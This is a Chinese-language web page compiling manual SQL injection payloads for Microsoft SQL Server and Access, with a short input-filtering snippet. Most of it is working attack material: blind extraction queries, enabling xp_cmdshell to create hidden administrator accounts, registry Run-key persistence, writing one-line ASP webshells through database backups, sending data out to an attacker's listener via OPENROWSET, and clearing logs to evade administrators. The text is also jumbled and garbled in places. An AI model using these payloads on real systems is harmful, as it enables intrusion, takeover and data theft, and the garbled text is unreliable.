SQL手工注入脚本汇总/mssql注入语句

declare@o int,@f int,@t int,@ret int exec sp_oacreate’scripting.filesystemobject’,@o out exec sp_oamethod@o,’createtextfile’,@f out,’d:\Serv-U6.3\ServUDaemon.ini’,1 exec@ret=sp_oamethod@f,’writeline’,灭茬,《这里添写自己写好的SU配备布置信息适才复制的那一些都要

–先声明一个变量cmd,然后把我们的指令赋值给cmd

;and 1=2 2.初步判断是否是mssql

URL and(select count(*)from sysobjects)0;–返回正常sql server URL and(select count(*)from msysobjects)0;–返回正常Access

1、create table[dbo].[jm_tmp]([cmd][image])–创立一个表

–⑵*查看目次方法*

EXEC sp_configure’show advanced options’,1;RECONFIGURE;EXEC sp_configure’xp_cmdshell’,1;RECONFIGURE;

URL and 0(select count(*)from master.dbo.sysdatabases);–折半法获患上数值库个数

1.判断是否有灌注

;exec xp_regenumvalues’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’以多个记录集体式格局返回所有键值

;and 1=(select IS_MEMBER(‘db_owner’));–

⑵猜字段的ascii值(mssql)

URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

–建表p(i为自动编号,a记录盘符类似”c:\”,b记录可用字节,其他省略)

URL and 0(select count(*)from master.dbo.sysdatabases where name 1and dbid=1);–

URL;exec master.dbo.xp_cmdshell’net user hacker hacker/workstations:*/times:all/passwordchg:yes/passwordreq:yes /active:yes/add’;–建立一个系统用hacker并设置其密码为hacker URL;exec master.dbo.xp_cmdshell’net localgroup administrators hacker/add’;–hacker插手到办理员组

URL;URL;insert svalues(”)–在表s中插入一句话马

去除

;create table dirs(paths varchar(100),id int)

URL;declare@cmd sysname select@cmd=这里为你要执行号令的16进制exec master.dbo.xp_cmdshell@cmd;–

select*from NetBook.dbo.sysobjects where xtype=’u’–查询数值库NetBook里的表

URL;;drop table p;–删除表p

;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–

我我的RP其实不好

backup database model to disk=’g:\wwwtest\l.asp’;

URL;insert pa exec xp_dirtree’e:’;–列出驱动器e并插入表pa URL;and(select count(*)from pa where i0)-1;–折半法查出i深度

4.InjectionURL’;insert into cmd(a)values(”)–(插入一句话木马)

URL and exists(select id from admin where unicode(substring(username,1,1))=97and ID=1);–MSSQL数值库抠门太抠门啦同享一下不行吗!没想到需要付费以后我竟至也没权限看了。呵呵~去年今天此门中,人面桃子树花相映红。人面 不知那边去,桃子树花依旧笑东风。使劲顶唉,可惜我金币不多啊!值班站长①:值班站长②:|

;insert temp exec master.dbo.xp_availablemedia;–获恰当前所有驱动器

这段代码就可以把ServUDaemon.ini里的配备布置信息全数显示出来嘿嘿既然能看了那偶门不是同样可以写进去?

URL and 0(select top 1name from syscolumns where id in(select id from sysobjects where type=’u’and name=’employ_qj’));–

URL;URL;create table s(l image);–建表s URL;backup log sto disk=’c:cmd’with init;–减少备分数值的巨细

–(4)以下为一些灌注杂项

insert into cmd(str)values(”);

URL and exists(select*from admin);–

–上边一般用无显错环境下使用—(获患上第二个目次把”top 0″换为”top 1″,换深度只换i就行)以此类推,获患上e盘的所有目次

===

–假定暴出字段名为”id”则在上边语句上加上前提and name not is(‘id’)以此一直加前提.

;exec master.dbo.sp_addlogin username;–

===

;insert into temp(id,num1)exec master.dbo.xp_dirtree’c:\’;–获患上所有子目次的目次树结构

exec xp_regdeletevalue’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’删除某个值

===

–SQL2005开启’OPENROWSET’撑持的方法:

begin print@line exec@ret=sp_oamethod@f,’readline’,@line out end

嘿嘿使用declare@o int,@f int,@t int,@ret int declare@line varchar(8000)

URL and 0(select count(*)name from employ.dbo.sysobjects where xtype=’U’);–折半法获患上表个数(假定暴出库名employ)

‘and[查询前提]and’%’=’

===

Dim Paravalue Paravalue=Request(ParaName)

个一句话进去

‘—传入参量—

请求的时候,像如许子用:

xp_regenumvalues注册表根键,子键

要是字符是中文的,好比where name=’用户’,可以用where name=nchar(29992) nchar(25143)代替。

DECLARE@shell INT EXEC SP_OAcreate’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD

11.添加mssql和系统的帐户

===

;exec master.dbo.xp_cmdshell’net user username password/add’;–

URL and(select count(*)from master.dbo.sysdatabases where name 0and dbid=6)0;–

2、 declare@a sysname,@s nvarchar(4000)select@a=db_name(),@s=0X6A006D 00640063007700backup database@a to disk=@s–备份数值库,@s为备份名称(jmdcw的16进制转换)

===

14.mssql的backup创立webshell use model create table cmd(str image);

;and(select count(*)from sysobjects)0mssql

URL and exists(select id from admin where len(username)=5and ID=1);–

⑴SQL Query Analyzer sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’

在查询分析器里执行

–检测是否为MSSQL数值库

URL;insert pexec xp_availablemedia;–列出所有驱动器并插入表p URL;and(select count(*)from p)3;–折半法查出驱动器总额

BACKUP/*/LOG/*/peihua/*/WITH/*/NO_LOG/*/DBCC/*/SHRINKDATABASE(peihua)–

—按上边方法库、表、段的名称都可以获患上–用以上方法可以获患上段段里的数值–

–SA权限:

dump/*/transaction/*/peihua/*/with/*/no_log–

直接写

URL and exists(select username from admin);–

quote siteXXXXXXX提权就行了。这里已熟稔了就不写了。~然后用3389连一下成功地到服务器权限

–绕过单引号接续灌注

URL and 1=2;–出错页面

URL;create table pa(m nvarchar(255),i nvarchar(255));–建表pa(m记录目次,i记录深度)

;and(select top 1paths from dirs)0

===

然后偶们再用set nocount on declare@logicalfilename sysname,

exec master.dbo.xp_subdirs’d:\web\www.xx.com’;

提醒号令完成成功

;and user 0

1. 当地nc监听nc-vvlp 80 2.;insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’,’select*from dest_table’)select*from src_table;–

–(3)数值库备份到Web目次(先拿个WebShell再说吧注:此为SQL Server2000)

这段代码就是哄骗SP_OAcreate来添加一个gydyhook的系统用户然后直接晋升为办理员权限就OK了

5.InjectionURL’;backup log XXX to disk=’d:chinakmtest.asp’–(备分日记到WEB路径)

值类型有2种REG_SZ表示字符型,REG_DWORD表示整型

OK我XXXXXX成功写进去了一个用户名为XXXX密码为空的系统权限的FTP然后偶们在FTP里执行

;and(select top 1len(字段名)from数值库名)0 9.⑴猜字段的ascii值(access)

看看底下的

Function SafeRequest(ParaName,ParaType)

–检测阿谁字符

===

If ParaType=1then If not isNumeric(Paravalue)then Response.write”参量”&ParaName&”必需为数码型!”

–OK至此WebShell应该患上手了—

–假定暴出表名为”employ_qj”则在上边语句上加前提and name not in(’employ_qj’以此一直加前提.

xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1′,’REG_SZ’,’net user h86$hacker/add’

2.InjectionURL’;create table cmd(a image)–(新建立一个cmd表)

–SQL Server2005满仓、表、段法(前提有显错、无显错用折半法)

查询分析器里执行select*from openrowset(‘microsoft.jet.oledb.4.0′,’

写上去》

URL;exec master.dbo.sp_password null,hacker,hacker;–设置SQL帐号hacker的密码为hacker RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;–加hacker进sysadmin办理组

–颠末上边的方法就可获患上服务器所有目次(这里为毗连用户有读取权限目次)—

;exec master.dbo.xp_cmdshell’net user username password/workstations:*/times:all/passwordchg:yes/passwordreq:yes /active:yes/add’;–

;exec xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’,’reg_sz’,’你好’写入注册表

简单的如where xtype=’U’,字符U对于应的ASCII码是85,所以可以用where xtype=char(85)代替;

;and(select Count(字段名)from数值库名)0 8.猜字段中记录长度

===

xp_regread根键,子键,键值名

;and(select Count(*)from[数值库名])0 7.猜字段

2.添加xp_cmdshell扩大历程的方法是使用如下语句:

⑵遍历目次

;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–

@newsize int来清算掉SQL日记免的被办理员发现

语句如下

12.⑴遍历目次

–检拆字段的

–检测英文的范围

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’

‘and[查询前提]and”=’

===

;and(select top 1unicode(substring(字段名,1,1))from数值库名)0 10.测试权限结构(mssql)

16.简洁的webshell use model create table cmd(str image);

3、insert into[jm_tmp](cmd)values(0x3C 2565786563757465287265717565737428226C 222929253E)–将一句话木马””的16进制字符插入到表中

看来xp_cmdshell是不克不及用鸟~不外偶们另有SP_OAcreate可以用用SP_OAcreate同样可以执行系统号令

13.mssql中的储存历程

@maxminutes int,

;and(select top 1paths from dirs where paths not in(‘上步获患上的paths’)))

URL;and ascii(substring((select top 1m from pa where i=1and mnot in(select top 0m from pa)),1,1))0;–折半法查出深度i=1的第一个目次名的第一个字符长度

;and(select top 1asc(mid(字段名,1,1))from数值库名)0

SQL手工灌注大全

;and 1=1

;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–

五、drop table[jm_tmp]–删除此表。

‘select shell(“cmd.exe/c net user admin admin1234/add”)’)来哄骗沙盘来添加个办理员可是事实告诉

日记备分WEBSHELL标准的七步:

URL;drop table pa;–删除表pa

;database=c:\windows\system32\ias\ias.mdb’,

URL and exists(select id from admin where unicode(substring(username,1,1))between 30and 130and ID=1);–MSSQL数值库

;and(select@version)0获患上Windows的版本号

@shell,’run’,null,’C:\WINdows\system32\cmd.exe/c net user gydyhook hook/add’

===

exec sp_configure’show advanced options’,1;RECONFIGURE;exec sp_configure’Ole Automation Procedures’,1;RECONFIGURE;

前提需要东西:SQL Query Analyzer和SqlExec Sunx Version 1.去掉xp_cmdshell扩大历程的方法是使用如下语句:

xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2′,’REG_SZ’,’net localgroup administrators h86$/add’

URL and exists(select id from admin where asc(mid(username,1,1))=97and ID=1);–ACCESS数值库

insert into cmd(str)values(”);

===

0.dump transaction数值库名with no_log清空日记

–检测长度的

在db权限而且分离获取mssql数值库服务器ip的方法

–检测数值库的

5.搜索时没过淋参量的

;insert dirs exec master.dbo.xp_dirtree’c:\’

;and user_name()=’dbo’判断当前系统的毗连用户是否sa

3.InjectionURL’;backup log XXX to disk=’c:cmd’with init–(减少备分数值的巨细)

直接写一个系统权限的FTP帐号进去

;and(select user_name())0爆当前系统的毗连用户

URL and exists(select*from sysobjects);–

–MSSQL db_owner灌注哄骗xp_regwrite获患上系统权限—

URL;alter database employ_ set RECOVERY FULL;–把当前库L设置成日记完全恢复标准样式

;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–

;insert into temp(id)exec master.dbo.xp_subdirs’c:\’;–获患上子目次列表

—SQL扩大沙盘提权—

select*from NetBook.dbo.syscolumns where id=object_id(‘book’)–查询book表里的字段

–检测路径的

backup database model to disk=’c:\l.asp’;

–检测是否为英文;–

xp_regdeletevalue根键,子键,值名
字体巨细:tT —

exec sp_oacreate’scripting.filesystemobject’,@o out exec sp_oamethod@o,’opentextfile’,@f out,’d:\Serv-U6.3\ServUDaemon.ini’,1 exec@ret=sp_oamethod@f,’readline’,@line out while(@ret=0)

;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–

===

exec sp_makewebtask’d:\web\www.XXXX.com\XX.asp’,’select””’

URL;backup log hh to disk=’e:\web\g.asp’;–备分日记到WEB路径

URL and 1=1;–正常页面

URL and exists(select id from admin where asc(mid(username,1,1))between 90and 100and ID=1);–ACCESS数值库

—以下为检测方法—

;and(select count(*)from msysobjects)0access 4.灌注参量是字符

===

注:InjectionURL是灌注点,XXX是数值库名称.

–检测可否灌注

select*from master.dbo.sysdatabases–查询数值库

–依次提交dbid=2.3.4.获患上更多的数值库名

—备份一句话木马–

–上边一般用显错且目次名不为数码环境下使用—(获患上第二个目次把”top 0″换为”top 1″,换深度只换i就行)以此类推,获患上e盘的所有目次

然后执行一下成功执行我们再用储存历程看看写进去没有

–SQL2005开启’sp_oacreate’撑持的方法:

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.xp_cmdshell’net localgroup administrators username/add’;–

6.猜数值库

URL;exec aster.dbo.sp_addlogin hacker;–添加SQL用户

URL;drop table s;–删除表s URL;alter database hh set RECOVERY SIMPLE;–把SQL设置成日记简单恢复标准样式

URL and 0(select top 1name from employ.dbo.sysobjects where xtype=’U’)

4、 declare@a sysname,@s nvarchar(4000)select@a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’backup database@a to disk=@s WITH DIFFERENTIAL,FORMAT–对于数值库实行差异备份,备份的生存路径暂定为C盘目次,文件名为hsqq.asp。

URL;and(select top 1m from pa where i=1and mnot in(select top 0m from pa))0;–报错获患上深度i=1的第一个目次名

–上边一般用于无显错环境下使用—以此类推,获患上所有驱动器名

;and(select db_name())0获患上当前毗连的数值库

SQL手工灌注方法总结(SQL Server2005)2010-01-28 16:17—以下以省略灌注点用URL代替

1.InjectionURL’;alter database XXX set RECOVERY FULL–(把SQL设置成日记完全恢复标准样式)

===

===

提醒号令执行成功偶们看看成效

3.判断数值库系统

===

⑵起首在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

数值库差异备份代码:

===

xp_regwrite根键,子键,值名,值类型,值

URL and exists(select id from admin where unicode(substring(username,1,1))between 90and 100and ID=1);–MSSQL数值库

—防–

End if SafeRequest=Paravalue End function

;create table temp(id nvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));–

比喻说在查询id是50的数值时,要是用户传迩来的参量是50and 1=1,要是没有设置过淋的话,可以直接查出来,SQL灌注一般在ASP步伐中遇到至多,

–检测表段的

URL and exists(select id from admin where ID=1);–

;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–

URL;and ascii(substring((select afrom pwhere i=1),1,1))=67;–折半法查出驱动器名(注asc(c)=67)

6.InjectionURL’;drop table cmd–(删除新建的cmd表)

===

exec sp_configure’show advanced options’,1;RECONFIGURE;exec sp_configure’Ad Hoc Distributed Queries’,1;RECONFIGURE;

–sql server 2005下开启xp_cmdshell的措施

xp_regdeletekey’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’删除键,包括该键下所有值

(3)MSSQL2000 sp_addextendedproc’xp_cmdshell’,’xplog70.dll’

呵呵,返回一个正常页面,说明成功完成拉,再在打针点输入

–⑴*查看驱动器方法*

if exists(select*from dbo.sysobjects where id=object_id(N'[dbo].[x电脑mdshell]’)and OBJECTPROPERTY(id,N’IsExtendedProc’)=1)

URL;and(select afrom pwhere i=1)3;–报错获患上第一个驱动器名

‘ParaType:参量类型-数码型(1表示以上参量是数码,0表示以上参量为字符)

–上边一般用于显错环境下使用—以此类推,获患上所有驱动器名

15.mssql内置函数

;exec xp_regread’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’返回拟定键的值

URL and exists(select id from admin where asc(mid(username,1,1))between 30and 130and ID=1);–ACCESS数值库

–检测ID

===

7.InjectionURL’;alter database XXX set RECOVERY SIMPLE–(把SQL设置成日记简单恢复标准样式)

Response.end End if Else Paravalue=replace(Paravalue,”‘”,”””)

sp_addextendedproc’xp_cmdshell’,’xpsql70.dll’

===

URL;and len((select top 1m from pa where i=1and mnot in(select top 0m from pa)))0;–折半法查出深度i=1的第一个目次名的长度

;insert into temp(id)exec master.dbo.xp_cmdshell’type c:\web\index.asp’;–查看文件的内部实质意义

DECLARE@cmd INT EXEC sp_oacreate'wscript.shell',@cmd output EXEC sp_oamethod@cmd,'run',null,'cmd.exe/c net user renwoxin$Content$nbsp;test/add&a

‘ParaName:参量名称-字符型

sp_dropextendedproc’xp_cmdshell’




coded by nessus
发表评论?

0 条评论。

发表评论